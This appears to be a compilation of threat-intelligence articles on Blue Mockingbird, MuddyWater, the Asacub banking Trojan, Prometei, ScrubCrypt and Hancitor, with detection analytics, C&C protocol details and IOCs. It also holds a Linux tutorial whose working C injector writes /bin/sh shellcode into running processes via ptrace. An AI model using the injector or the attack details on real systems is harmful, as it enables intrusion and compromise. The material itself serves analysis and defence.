* MEMORY 1.3/4.0 GB (33%)
* DONATE 0%
* POOL #1 xmr-au1.nanopool.org:14433 coin monero
* COMMANDS 'h' hashrate, 'p' pause, 'r' resume
* OPENCL disabled
* CUDA disabled
[2020-04-16 08:30:26.753] [xmr-au1.nanopool.org:14433] DNS error: "unknown node or service"
```
Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address. So far, we’ve identified two wallet addresses used by Blue Mockingbird that are in active circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success. We’ve seen mining payloads compiled as early as December 2019 and as recently as late April 2020. In each compilation, one of the two wallets has been embedded into the binary. The wallet addresses could be extracted from the binaries easily in earlier versions using a simple `strings` command. In newer versions, the string is obfuscated.
Even with string obfuscation in the binary, you can observe the wallet addresses in network traffic. During execution of the miner DLLs, unique information is passed in cleartext across TCP streams.
## Recommended Analytics
- Process is `cmd.exe` with command line including `sc` AND `config` AND `wercplsupporte.dll`
- Any process where command line includes `-t` AND `-c` AND `-l` with network connections from `127.0.0.1` and to `127.0.0.1` on port tcp135 (JuicyPotato)
- Process is `schtasks.exe` with command line including `/create` AND `sc start wercplsupport`
- Process is `rundll32.exe` with command line including `fackaaxv`
- Process is `regsvr32.exe` with command line including `/s` and having an external network connection
- Process is `wmic.exe` with command line including `create` AND `COR_PROFILER`
- Process is `cmd.exe` and parent process is `services.exe`
## Mitigations
Focus on patching web servers, web applications, and dependencies of the applications. Most of the techniques used by Blue Mockingbird will bypass whitelisting technologies, so the best route will be to inhibit initial access. Consider establishing a baseline of Windows Scheduled Tasks in your environment to know what is normal across your enterprise. |
# Iranian Hackers Targeting Turkey and Arabian Peninsula in New Malware Campaign
The Iranian state-sponsored threat actor known as MuddyWater has been attributed to a new swarm of attacks targeting Turkey and the Arabian Peninsula with the goal of deploying remote access trojans (RATs) on compromised systems.
“The MuddyWater supergroup is highly motivated and can use unauthorized access to conduct espionage, intellectual property theft, and deploy ransomware and destructive malware in an enterprise,” Cisco Talos researchers Asheer Malhotra, Vitor Ventura, and Arnaud Zobec said in a report published today.
The group, which has been active since at least 2017, is known for its attacks on various sectors that help further advance Iran’s geopolitical and national security objectives. In January 2022, the U.S. Cyber Command attributed the actor to the country’s Ministry of Intelligence and Security (MOIS).
MuddyWater is also believed to be a “conglomerate of multiple teams operating independently rather than a single threat actor group,” the cybersecurity firm added, making it an umbrella actor in the vein of Winnti, a China-based advanced persistent threat (APT).
The latest campaigns undertaken by the hacking crew involve the use of malware-laced documents delivered via phishing messages to deploy a remote access trojan called SloughRAT (aka Canopy by CISA) capable of executing arbitrary code and commands received from its command-and-control (C2) servers.
The maldoc, an Excel file containing a malicious macro, triggers the infection chain to drop two Windows Script Files (.WSF) on the endpoint, the first one of them acting as the instrumentor to invoke and execute the next-stage payload. Also discovered are two additional script-based implants, one written in Visual Basic and the other coded in JavaScript, both of which are engineered to download and run malicious commands on the compromised host.
Furthermore, the latest set of intrusions marks a continuation of a November 2021 campaign that struck Turkish private organizations and governmental institutions with PowerShell-based backdoors to gather information from its victims, even as it exhibits overlaps with another campaign that took place in March 2021.
The commonalities in tactics and techniques adopted by the operators have raised the possibility that these attacks are “distinct, yet related, clusters of activity,” with the campaigns leveraging a “broader TTP-sharing paradigm, typical of coordinated operational teams,” the researchers noted.
A second phishing attack sequence between December 2021 and January 2022 concerned the deployment of VBS-based malicious downloaders using scheduled tasks created by the adversary, enabling the execution of payloads retrieved from a remote server. The results of the command are subsequently exfiltrated back to the C2 server.
“While they share certain techniques, these campaigns also denote individuality in the way they were conducted, indicating the existence of multiple sub-teams beneath the MuddyWater umbrella — all sharing a pool of tactics and tools to pick and choose from,” the researchers concluded. |
# The Rise of Mobile Banker Asacub
**Authors**
Tatyana Shishkova
We encountered the Trojan-Banker.AndroidOS.Asacub family for the first time in 2015, when the first versions of the malware were detected, analyzed, and found to be more adept at spying than stealing funds. The Trojan has evolved since then, aided by a large-scale distribution campaign by its creators in spring-summer 2017, helping Asacub to claim top spots in last year’s ranking by number of attacks among mobile banking Trojans, outperforming other families such as Svpeng and Faketoken.
We decided to take a peek under the hood of a modern member of the Asacub family. Our eyes fell on the latest version of the Trojan, which is designed to steal money from owners of Android devices connected to the mobile banking service of one of Russia’s largest banks.
## Asacub Versions
Sewn into the body of the Trojan is the version number, consisting of two or three digits separated by periods. The numbering seems to have started anew after version 9. The name Asacub appeared with version 4 in late 2015; previous versions were known as Trojan-SMS.AndroidOS.Smaps. Versions 5.X.X-8.X.X were active in 2016, and versions 9.X.X-1.X.X in 2017. In 2018, the most actively distributed versions were 5.0.0 and 5.0.3.
## Communication with C&C
Although Asacub’s capabilities gradually evolved, its network behavior and method of communication with the command-and-control (C&C) server changed little. This strongly suggested that the banking Trojans, despite differing in terms of capability, belong to the same family. Data was always sent to the C&C server via HTTP in the body of a POST request in encrypted form to the relative address /something/index.php. In earlier versions, the something part of the relative path was a partially intelligible, yet random mix of words and short combinations of letters and numbers separated by an underscore, for example, “bee_bomb” or “my_te2_mms”.
The data transmitted and received is encrypted with the RC4 algorithm and encoded using the base64 standard. The C&C address and the encryption key (one for different modifications in versions 4.x and 5.x, and distinct for different C&Cs in later versions) are stitched into the body of the Trojan. In early versions of Asacub, .com, .biz, .info, .in, .pw were used as top-level domains. In the 2016 version, the value of the User-Agent header changed, as did the method of generating the relative path in the URL: now the part before /index.php is a mix of a pronounceable (if not entirely meaningful) word and random letters and numbers, for example, “muromec280j9tqeyjy5sm1qy71” or “parabbelumf8jgybdd6w0qa0”. Moreover, incoming traffic from the C&C server began to use gzip compression, and the top-level domain for all C&Cs was .com.
Since December 2016, the changes in C&C communication methods have affected only how the relative path in the URL is generated: the pronounceable word was replaced by a rather long random combination of letters and numbers, for example, “ozvi4malen7dwdh” or “f29u8oi77024clufhw1u5ws62”. At the time of writing this article, no other significant changes in Asacub’s network behavior had been observed.
## The Origin of Asacub
It is fairly safe to say that the Asacub family evolved from Trojan-SMS.AndroidOS.Smaps. Communication between both Trojans and their C&C servers is based on the same principle, the relative addresses to which Trojans send network requests are generated in a similar manner, and the set of possible commands that the two Trojans can perform also overlaps. What’s more, the numbering of Asacub versions is a continuation of the Smaps system. The main difference is that Smaps transmits data as plain text, while Asacub encrypts data with the RC4 algorithm and then encodes it into base64 format.
Let’s compare examples of traffic from Smaps and Asacub — an initializing request to the C&C server with information about the infected device and a response from the server with a command for execution:
**Smaps request**
**Asacub request**
Decrypted data from Asacub traffic:
`{"id":"532bf15a-b784-47e5-92fa-72198a2929f5","type":"get","info":"imei:365548770159066, country:PL, cell:Tele2, android:4.2.2, model:GT-N5100, phonenumber:+486679225120, sim:6337076348906359089f, app:null, ver:5.0.2"}`
Data sent to the server:
`[{"command":"sent&&&","params":{"to":"+79262000900","body":"\u0410\u0412\u0422\u041e\u041f\u041b\u0410\u0422\u0415\u0416 1000 50","timestamp":"1452272572"}},{"command":"sent&&&","params":{"to":"+79262000900","body":"BALANCE","timestamp":"1452272573"}}]`
Instructions received from the server:
A comparison can also be made of the format in which Asacub and Smaps forward incoming SMS (encoded with the base64 algorithm) from the device to the C&C server:
**Smaps format**
**Asacub format**
Decrypted data from Asacub traffic:
`{"data":"2015:10:14_02:41:15","id":"532bf15a-b784-47e5-92fa-72198a2929f5","text":"SSB0aG91Z2h0IHdlIGdvdCBwYXN0IHRoaXMhISBJJ20gbm90IGh1bmdyeSBhbmQgbmU=","number":"1790","type":"load"}`
## Propagation
The banking Trojan is propagated via phishing SMS containing a link and an offer to view a photo or MMS. The link points to a web page with a similar sentence and a button for downloading the APK file of the Trojan to the device.
Asacub masquerades under the guise of an MMS app or a client of a popular free ads service. We came across the names Photo, Message, Avito Offer, and MMS Message.
The APK files of the Trojan are downloaded from sites such as mmsprivate[.]site, photolike[.]fun, you-foto[.]site, and mms4you[.]me under names in the format:
- `photo_[number]_img.apk`
- `mms_[number]_img.apk`
- `avito_[number].apk`
- `mms.img_[number]_photo.apk`
- `mms[number]_photo.image.apk`
- `mms[number]_photo.img.apk`
- `mms.img.photo_[number].apk`
- `photo_[number]_obmen.img.apk`
For the Trojan to install, the user must allow installation of apps from unknown sources in the device settings.
## Infection
During installation, depending on the version of the Trojan, Asacub prompts the user either for Device Administrator rights or for permission to use AccessibilityService. After receiving the rights, it sets itself as the default SMS app and disappears from the device screen. If the user ignores or rejects the request, the window reopens every few seconds.
After installation, the Trojan starts communicating with the cybercriminals’ C&C server. All data is transmitted in JSON format (after decryption). It includes information about the smartphone model, the OS version, the mobile operator, and the Trojan version.
Let’s take an in-depth look at Asacub 5.0.3, the most widespread version in 2018.
**Structure of data sent to the server:**
```json
{
"type":int,
"data":{
data
},
"id":hex
}
```
**Structure of data received from the server:**
```json
{
"command":int,
"params":{
params,
"timestamp":int,
"x":int
},
"waitrun":int
}
```
To begin with, the Trojan sends information about the device to the server:
```json
{
"type":1,
"data":{
"model":string,
"ver":"5.0.3",
"android":string,
"cell":string,
"x":int,
"country":int, //optional
"imei":int //optional
},
"id":hex
}
```
In response, the server sends the code of the command for execution (“command”), its parameters (“params”), and the time delay before execution (“waitrun” in milliseconds).
**List of commands sewn into the body of the Trojan:**
| Command | Parameters | Actions |
|---------|------------|---------|
| 2 | – | Sending a list of contacts from the address book of the infected device to the C&C server |
| 7 | “to”:int | Calling the specified number |
| 11 | “to”:int, “body”:string | Sending an SMS with the specified text to the specified number |
| 19 | “text”:string, “n”:string | Sending SMS with the specified text to numbers from the address book of the infected device, with the name of the addressee from the address book substituted into the message text |
| 40 | “text”:string | Shutting down applications with specific names (antivirus and banking applications) |
The set of possible commands is the most significant difference between the various flavors of Asacub. In the 2015-early 2016 versions examined in this article, C&C instructions in JSON format contained the name of the command in text form (“get_sms”, “block_phone”). In later versions, instead of the name of the command, its numerical code was transmitted. The same numerical code corresponded to one command in different versions, but the set of supported commands varied. For example, version 9.0.7 (2017) featured the following set of commands: 2, 4, 8, 11, 12, 15, 16, 17, 18, 19, 20.
After receiving the command, the Trojan attempts to execute it, before informing C&C of the execution status and any data received. The “id” value inside the “data” block is equal to the “timestamp” value of the relevant command:
```json
{
"type":3,
"data":{
"data":JSONArray,
"command":int,
"id":int,
"post":boolean,
"status":resultCode
},
"id":hex
}
```
In addition, the Trojan sets itself as the default SMS application and, on receiving a new SMS, forwards the sender’s number and the message text in base64 format to the cybercriminal:
```json
{
"type":2,
"data":{
"n":string,
"t":string
},
"id":hex
}
```
Thus, Asacub can withdraw funds from a bank card linked to the phone by sending SMS for the transfer of funds to another account using the number of the card or mobile phone. Moreover, the Trojan intercepts SMS from the bank that contain one-time passwords and information about the balance of the linked bank card. Some versions of the Trojan can autonomously retrieve confirmation codes from such SMS and send them to the required number. What’s more, the user cannot check the balance via mobile banking or change any settings there, because after receiving the command with code 40, the Trojan prevents the banking app from running on the phone.
User messages created by the Trojan during installation typically contain grammatical and spelling errors, and use a mixture of Cyrillic and Latin characters. The Trojan also employs various obfuscation methods: from the simplest, such as string concatenation and renaming of classes and methods, to implementing functions in native code and embedding SO libraries in C/C++ in the APK file, which requires the use of additional tools or dynamic analysis for deobfuscation, since most tools for static analysis of Android apps support only Dalvik bytecode. In some versions of Asacub, strings in the app are encrypted using the same algorithm as data sent to C&C, but with different keys.
## Asacub Distribution Geography
Asacub is primarily aimed at Russian users: 98% of infections (225,000) occur in Russia, since the cybercriminals specifically target clients of a major Russian bank. The Trojan also hit users from Ukraine, Turkey, Germany, Belarus, Poland, Armenia, Kazakhstan, the US, and other countries.
## Conclusion
The case of Asacub shows that mobile malware can function for several years with minimal changes to the distribution scheme. It is basically SMS spam: many people still follow suspicious links, install software from third-party sources, and give permissions to apps without a second thought. At the same time, cybercriminals are reluctant to change the method of communication with the C&C server, since this would require more effort and reap less benefit than modifying the executable file. The most significant change in this particular Trojan’s history was the encryption of data sent between the device and C&C. That said, so as to hinder detection of new versions, the Trojan’s APK file and the C&C server domains are changed regularly, and the Trojan download links are often one-time-use.
## IOCs
**C&C IP addresses:**
- 155.133.82.181
- 155.133.82.240
- 155.133.82.244
- 185.234.218.59
- 195.22.126.160
- 195.22.126.163
- 195.22.126.80
- 195.22.126.81
- 5.45.73.24
- 5.45.74.130
**IP addresses from which the Trojan was downloaded:**
- 185.174.173.31
- 185.234.218.59
- 188.166.156.110
- 195.22.126.160
- 195.22.126.80
- 195.22.126.81
- 195.22.126.82
- 195.22.126.83
**SHA256:**
- 158c7688877853ffedb572ccaa8aa9eff47fa379338151f486e46d8983ce1b67
- 3aedbe7057130cf359b9b57fa533c2b85bab9612c34697585497734530e7457d
- f3ae6762df3f2c56b3fe598a9e3ff96ddf878c553be95bacbd192bd14debd637
- df61a75b7cfa128d4912e5cb648cfc504a8e7b25f6c83ed19194905fef8624c8
- c0cfd462ab21f6798e962515ac0c15a92036edd3e2e63639263bf2fd2a10c184
- d791e0ce494104e2ae0092bb4adc398ce740fef28fa2280840ae7f61d4734514
- 38dcec47e2f4471b032a8872ca695044ddf0c61b9e8d37274147158f689d65b9
- 27cea60e23b0f62b4b131da29fdda916bc4539c34bb142fb6d3f8bb82380fe4c
- 31edacd064debdae892ab0bc788091c58a03808997e11b6c46a6a5de493ed25d
- 87ffec0fe0e7a83e6433694d7f24cfde2f70fc45800aa2acb8e816ceba428951
- eabc604fe6b5943187c12b8635755c303c450f718cc0c8e561df22a27264f101 |
# Prometei Botnet | Indicators of Compromise
**April 15th, 2021**
**Domains**
P1.feefreepool.net
xmr.feefreepool.net
gb7ni5rgeexdcncj.onion
rongo.prohash.org
bk1.bitspiritfun2.net
mkhkjxgchtfgu7uhofxzgoawntfzrkd
ccymveektqgpxrpjb72oq.zero
dummy.zero
cp22.umbrellapool.club
cp23.umbrellapool.club
bk2.bitspiritfun2.net
**IPs**
217.165.8.218
77.92.138.51
91.102.160.193
103.11.244.221
121.200.54.85
112.109.89.53
178.21.164.68
69.84.240.57
208.66.132.3
**Hashes - SHA256**
Sqhost.exe / zsvc.exe: f0a5b257f16c4ccff520365ebc143f09ccf23
3e642bf540b5b90a2bbdb43d5b4
ExchDefender.exe
D8e3e22997533300c097b47d71feeda51d
ca183c35a0d818faa12ee903e969d5
SearchIndexer.exe: b0e743517e7abf75a80b81bb7aadc9c166a
c47ba89c0654ba855dda1e4d96c3e
Netwalker.7z: 55fc69a7e1b2371d8762be0b4f403d32db2
4902891fdbfb8b7d2b7fd1963f1b4
RdpcIip.exe: e4bd40643f64ac5e8d4093bddee0e26fcc7
4d2c15ba98b505098d13da22015f5
Miwalk: fb8f100e646dec8f19cb439d4020b5f5f43af
dc2414279296e13469f13a018ca
Bklocal2.exe / Bklocal4.exe f86f9d0d3ea06bd4be6ee84c09bd13e43ecf
cc71653d15994a39e55c2d6bd664
e961c07d534bc1cb96f159fce573fc671bd1
88cef8756ef32acd9afb49528331
Nethelper2.exe / Nethelper4.exe: 2f114862bd999c38b69b633488bcbb6c74c
9a11e28b7ef335f6c77bba32ed2d6
5de7afdde08f7b8ba705c8332c693747d53
7fd5b1bb0e7b0c757c0f364a60eb8
Windrlver.exe: dc73a88f544efc943da73c9f6535facdb618
00f6205ad3dddb9adb7c6ab229ab |
# The Rebranded Crypter: ScrubCrypt
January 10, 2023
Over the past few weeks, Perception Point’s IR team has been investigating a Crypter, spread wildly via phishing emails that ultimately deliver RAT (Remote Access Trojan) malware from the Xworm family. A Crypter is a type of software used to encrypt, or hide, files or data so that they can be protected from unauthorized access. It uses strong encryption algorithms to ensure the data remains secure from attackers. However, it can also be used to encrypt, obfuscate, or manipulate malware to make it harder for AV’s to detect. In this blog, we review the ScrubCrypter and its origin, where threat actors can easily buy the Crypter, and how attackers use phishing campaigns to distribute the Crypter and its accompanying malware.
## What is ScrubCrypt?
ScrubCrypt is a Crypter currently sold on HackForums, a hacking forum in the clear web, that anyone can access from their device. The price of the Crypter is 40 USD for a monthly subscription and goes up to 200 USD for a lifetime subscription.
The seller of the Crypter “Scrubspoof” provides a list of Crypter features, which include:
- AES Encryption
- Anti VM/Debug
- Persistence mechanism
The seller describes the Crypter as an “antivirus evasion tool [that] converts executables into undetectable batch files”.
Customers can leave a review about the Crypter in the HackForum post thread. One interesting comment we stumbled upon was made by a confused potential customer who identified the similarity between ScrubCrypter and the well-known Jlaive Crypter. The Jlaive Crypter has been used for a long time by many threat actors as their main Crypter of choice. Eventually, the main developer of the Jlaive Crypter replied to the user, confirming that ScrubCrypter is just a renamed version of the Jlaive Crypter. While other customers claim that ScrubCrypter has better performance than Jlaive, the features and functions are nearly identical. With a Crypter so easily available and accessible, any malicious actor can buy it and use it to propagate malware or the actor’s attack of choice. This threatens the overall security of many organizations, as the Crypter hides the final payload, making it less detectable to even some advanced security systems.
Now that we have covered what ScrubCrypt is and how easy it is to access, let’s investigate how it can be used in a real-world example.
## The Crypt Goes Phish
In this example that Perception Point’s advanced threat detection platform caught, a customer received a seemingly typical phishing email. However, upon further review, there is more to this email than just meets the subject line. The user receives an email with the subject: “LEP/RFQ/AV/04/2022/6030”. Upon opening the message, there is a generic body with keywords often employed in social engineering campaigns. The goal of the message is to convince the user to download the attachment.
When the user downloads the attached file, it leads to a .bat file (batch script), which, once executed by the user, leads to a multi-stage execution chain. This eventually unleashes the Xworm RAT. Xworm RAT is a brand new Remote Access Trojan written in .NET language. Like any other RAT, it begins by stealing the user’s basic information like their country, IP address, operating system, etc. From there, it connects to the C2 server, allowing the threat actor to employ a variety of commands like keylogging, remote control of the user’s mouse, and downloading ransomware.
By using the Crypter to send this attachment, it makes it more difficult for security systems to detect. The Crypter adds a layer of protection to the malicious file, supposedly ensuring that the attacker will gain access to the user’s system or network. Perception Point’s advanced threat detection platform flagged this message as malicious. The platform was able to recognize the sender’s low reputation and lack of a known connection to the user. In addition, the platform identified that the attachment was an archive file, which contained an executable that prompted an automatic download on the user’s operating system.
## Summary
Attackers using a Crypter to hide malicious files pose a major security concern for all organizations, regardless of industry. The accessibility and availability of this specific ScrubCrypt make it all the more dangerous, as attackers can easily purchase it and use it to conduct widespread attack campaigns. Without the necessary security features, an individual could open a ScrubCrypt file and unknowingly impact their entire organization, thus leading to irreparable damages.
In this blog, we outlined the origins and uses of a Crypter. In subsequent blogs, we will explore and expand upon the Crypter itself and the attack chain of Xworm RAT malware.
## IOCs
- LEPRFQAV04,pdf.001 – 28d6b3140a1935cd939e8a07266c43c0482e1fea80c65b7a49cf54356dcb58bc (Sha256)
- LEPRFQAV04,pdf.bat – 04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578 (Sha256)
All IOCs found by Perception Point can be found on MalwareBazzar. |
# Linux: Infecting Running Processes
We have already seen how to infect a file by injecting code into the binary so it gets executed next time the infected program is started. But how to infect a process that is already running? This paper will introduce the basic techniques you need to learn in order to fiddle with other processes in memory. In other words, it will introduce you to the basics of how to write your own debugger.
## Use Cases
Before going into the gory details, let’s introduce a couple of situations that may benefit from being able to inject code into a running program.
The very first use case is not really malware related and has been a matter of research for many years: run-time patching. There are systems that cannot be switched off, or, in other words, switching them off will cost a lot of money. For that reason, being able to apply patches or updates to a running process (without even restarting the application) was a hot problem some years ago. Nowadays, the cloud/VM paradigm has solved the problem in a different way, and this “SW hot-swapping” is not that popular anymore.
The other main benign use case is the development of debuggers and reverse engineering tools. Look for instance at radare2; you will learn the basics of how it works in this paper. Another use case is obviously the development of malware: viruses, backdoors, etc. I guess there are a lot of uses in here that I cannot even imagine. One use case many of you may know is the meterpreter process migration capability, which moves your payload into an innocent running program.
If you had read some of my papers before, you will know that I’m going to talk about Linux. The basic concepts should be very similar in other operating systems, so I hope this may be useful even if you are not a Linux user.
## Process Debugging in Linux
Technically speaking, the way to access another process and modify it is through the debugging interfaces provided by the operating systems. The debug system call on Linux is named `ptrace`. Tools like `gdb`, `radare2`, `ddd`, and `strace` all use `ptrace` to provide their services.
The `ptrace` system call allows a process to debug another process. Using `ptrace`, we will be able to stop a target process execution and examine the values of its registers and memory as well as change them to whatever value we want.
There are two ways to start debugging a process. The first and more immediate one is to make our debugger start the process using `fork` and `exec`. This is what happens when you pass a program name as a parameter to `gdb` or `strace`. The other option we have is to dynamically attach our debugger to a running process. For this paper, we will concentrate on the second one. Whenever you get familiar enough with the basics, you will not have any problem finding the details on how to start a process yourself to debug it.
### Attaching to a Running Process
The first thing we have to do in order to modify a running process is to start debugging it. This process is called `attach`, and actually, that is the name of the `gdb` command to do what we are about to see in the code:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
int main(int argc, char *argv[]) {
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2) {
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
exit(1);
}
target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);
if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0) {
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
}
```
In the code above, you can see the typical main function expecting one parameter. In this case, the parameter is the PID (Process Identifier) for the process we want to modify. We will be using this parameter in each single `ptrace` call, so we better store it somewhere (target variable).
Then we just call `ptrace` using `PTRACE_ATTACH` as the first parameter and the PID of the process we want to get attached to as the second parameter. After that, we have to call `wait` to wait for the `SIGTRAP` signal indicating that the attaching process is completed. At this point, the process we are connected to is stopped, and we can start modifying it at will.
### Injecting Code
First, we have to decide where we want our code injected. There are quite a few possibilities:
- We can just insert it at the current instruction being executed. This is very straightforward but it destroys the target process, making it impossible to recover its original functionality.
- We can try to inject the code at the address where the `main` function is located. There are chances that the code there contains some initialization that only happens at the beginning of the execution, and therefore we may keep the original functionality working as expected.
- Another option is to use one of the ELF infection techniques and inject the code, for instance, into a code cave in memory.
- Finally, we can inject the code in the stack, as a normal buffer overflow. This is pretty safe to avoid destroying the program, but the process may be protected with a non-executable stack.
For the sake of simplicity, we are going to inject the code just at the position of the Instruction Pointer (`rip` register for x86 64bits) when we get control of the process. As you will see in a sec, the code we are injecting is the typical shellcode starting a shell session, and therefore we are not expecting to give control back to the original process. In other words, it does not matter if we destroy part of the program.
### Get the Registers and Smash the Memory
This is the code to inject the code in the process under control:
```c
printf("+ Getting Registers\n");
if ((ptrace(PTRACE_GETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data(target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
```
The first thing we find in this code is a call to `ptrace` with the parameter `PTRACE_GETREGS`. This call allows our program to retrieve the values of the registers from the process under control. After that, we use a function to inject our shellcode in the target process. Note that we are taking the value of `regs.rip`, which actually contains the current Instruction Pointer register value from the target process. The `inject_data` function, as you can imagine, just copies our shellcode into the address pointed by `regs.rip` but in the target process.
Let’s see how.
```c
int inject_data(pid_t pid, unsigned char *src, void *dst, int len) {
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i += 4, s++, d++) {
if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0) {
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
```
Very simple, isn’t it? There are only two things we have to comment about this function:
1. `PTRACE_POKETEXT` is used to write in the memory of the process being debugged. This is how we actually inject the code in the target process. There is a `PTRACE_PEEKTEXT` also.
2. The `PTRACE_POKETEXT` function works on words, so we convert everything to word pointers (32bits) and we also increase `i` by 4.
### Running the Injected Code
Now that the target process memory has been modified to contain the code we want to run, we just need to give control back to the process and let it keep running. This can be done in a couple of different ways. In this case, we will just `detach` the target process, that is, we stop debugging the target process. This action effectively stops the debug session and continues the execution of the target process:
```c
printf("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace(PTRACE_SETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");
if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0) {
perror("ptrace(DETACH):");
exit(1);
}
return 0;
```
This should also be pretty straightforward to understand. You may have noticed that we are setting the registers back before `detaching`. We had modified the instruction pointer, and that is the reason why we have to set the registers on the target process before giving control back. The `PTRACE_DETACH` subtracts 2 bytes from the Instruction Pointer.
### How to Figure Out Those 2 Bytes
Those 2 bytes subtracted from `RIP` when calling `PTRACE_DETACH` were a tricky thing to figure out. I’ll tell you how I did it, in case you wonder. During testing, the target program was crashing when I tried to inject code in the stack. One reason was that the stack was not executable for my target program. I fixed that using the `execstack` tool. But the problem also happened when injecting code in memory regions with execution permissions. So I activated the core dump and analyzed what happened.
The reason is that you cannot run `gdb` against the target program; otherwise, our very first `ptrace` call will fail. Yes, you cannot debug the same program with two debuggers at the same time (this sentence hides a common anti-debugging technique). So, what I got when trying to inject code in the stack was this:
```
+ Tracing process 15333
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7ffe9a708728
+ Setting instruction pointer to 0x7ffe9a708708
+ Run it!
```
Of course, all the addresses and PIDs will be different in your system. Anyway, this produced a core dump on the target that we can open with `gdb` to check what happened.
```
$ gdb ./target core
(... gdb start up messages removed ...)
Reading symbols from ./target...(no debugging symbols found)...done.
[New LWP 15333]
Core was generated by `./target'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007ffe9a708706 in ?? ()
```
What you see there is the address that caused the segmentation fault. If you compare it with the address reported by the injector, you can see the 2 bytes difference. Fixing that and the stack permissions made the injector work fine.
## Testing Program
In order to test this concept, I wrote a very simple program. It just prints its PID (so I do not have to look for it) and then writes 10 times a message on the screen, waiting 2 seconds between messages. This gives you time to launch the injector.
```c
#include <stdio.h>
#include <unistd.h>
int main() {
int i;
printf("PID: %d\n", (int)getpid());
for (i = 0; i < 10; ++i) {
write(1, "Hello World\n", 12);
sleep(2);
}
getchar();
return 0;
}
```
The shellcode I used was produced from this simple assembler file:
```asm
section .text
global _start
_start:
xor rax, rax
mov rdx, rax ; No Env
mov rsi, rax ; No argv
lea rdi, [rel msg]
add al, 0x3b
syscall
msg db '/bin/sh', 0
```
## Final Word
`ptrace` is a very powerful tool. In this paper, we have just shown the very basics. Now it is a good time to fire up your terminal and type `man ptrace` to learn about the wonders of this system call.
You may try a couple of things yourself, in case you are interested:
- Modify the injector to feed the code in a code cave.
- Use more sophisticated shellcodes that fork a process and keep the original program running.
- Your shellcode will be running on the target project and will have access to all open files. |
# Hancitor Activity Resumes After a Holiday Break
## Introduction
Campaigns spreading Hancitor malware were active from October through December 2020, but Hancitor went quiet after 2020-12-17. On Tuesday 2021-01-12, criminals started sending malicious spam (malspam) pushing Hancitor again. Some people have already tweeted about this year's first wave of Hancitor. Today's diary reviews recent Hancitor activity from Tuesday 2021-01-12, where we also saw Cobalt Strike after the initial infection.
## The Malspam
On Tuesday 2021-01-12, malspam spreading used the same fake DocuSign template we saw several times last year. These emails have a link to a Google Docs page.
## Infection Traffic
As you might expect, traffic to the Google Docs page and clicking on the link generates a great deal of related web activity, mostly HTTPS traffic. Shortly after the Word document is sent, we find indicators of Hancitor and Cobalt Strike malware. I've always seen Cobalt Strike when I test Hancitor in an Active Directory (AD) environment. If you're investigating an actual Hancitor infection, be aware that it will likely send Cobalt Strike if the victim host is signed into a work environment that uses AD.
## Indicators of Compromise (IOCs)
The following are indicators associated with Hancitor infections from Tuesday 2021-01-12.
**Date/time of the six messages:**
- Tue, 12 Jan 2021 15:06:25 +0000 (UTC)
- Tue, 12 Jan 2021 16:06:06 +0000 (UTC)
- Tue, 12 Jan 2021 16:41:01 +0000 (UTC)
- Tue, 12 Jan 2021 16:48:35 +0000 (UTC)
- Tue, 12 Jan 2021 17:09:10 +0000 (UTC)
- Tue, 12 Jan 2021 18:06:56 +0000 (UTC)
**IP addresses the malspam was received from:**
- Received: from digital-negative.com ([179.154.63.198])
- Received: from digital-negative.com ([74.85.247.234])
- Received: from digital-negative.com ([181.137.227.228])
- Received: from digital-negative.com ([104.161.24.86])
- Received: from digital-negative.com ([23.236.75.32])
- Received: from digital-negative.com ([112.15.74.137])
**Spoofed sending addresses:**
- From: "DocuSign Signature Service" <qybacy@digital-negative.com>
- From: "DocuSign Signature and Invoice" <iqinica@digital-negative.com>
- From: "DocuSign Electronic Signature and Invoice Service" <eupanic@digital-negative.com>
- From: "DocuSign Electronic Signature" <uvizao@digital-negative.com>
- From: "DocuSign Signature Service" <nuxzoj@digital-negative.com>
- From: "DocuSign Electronic Signature Service" <zwtmicy@digital-negative.com>
**Subject lines:**
- Subject: You received notification from DocuSign Electronic Service
- Subject: You received notification from DocuSign Service
- Subject: You got notification from DocuSign Electronic Signature Service
- Subject: You got invoice from DocuSign Electronic Signature Service
- Subject: You got notification from DocuSign Service
- Subject: You received notification from DocuSign Electronic Signature Service
**Links from the malspam:**
- hxxps://docs.google[.]com/document/d/e/2PACX-1vSEfjWipv61XyrbNDn1neBUGeHzEPM35pYN5QRYrpUy4X-sbHybYEZ7-b6Zf8yGyA_1e4wNj452FD_O/pub
- hxxps://docs.google[.]com/document/d/e/2PACX-1vTiMxxKYdtOy98JFAiBaNe1W-VVdRGcZOZurDYA1jhcat-mcbcA8Uw7m_v4BvJ-H3o9m7ML_TtRNPQP/pub
- hxxps://docs.google[.]com/document/d/e/2PACX-1vShuUk4DvIVthVxqc8UIUgZ7hOQzBQ1Dop8sXP73qBfS-JrlSrdIaZslExSyrr459kvaMmWbOAUkYii/pub
- hxxps://docs.google[.]com/document/d/e/2PACX-1vRQ8skYzE8fzy9FnmU06fNCSEBTGwdYCxE1_NyLjxTCG7uEhpFtmI_IWAtk1FFmuQyAReDSuUCdyCFs/pub
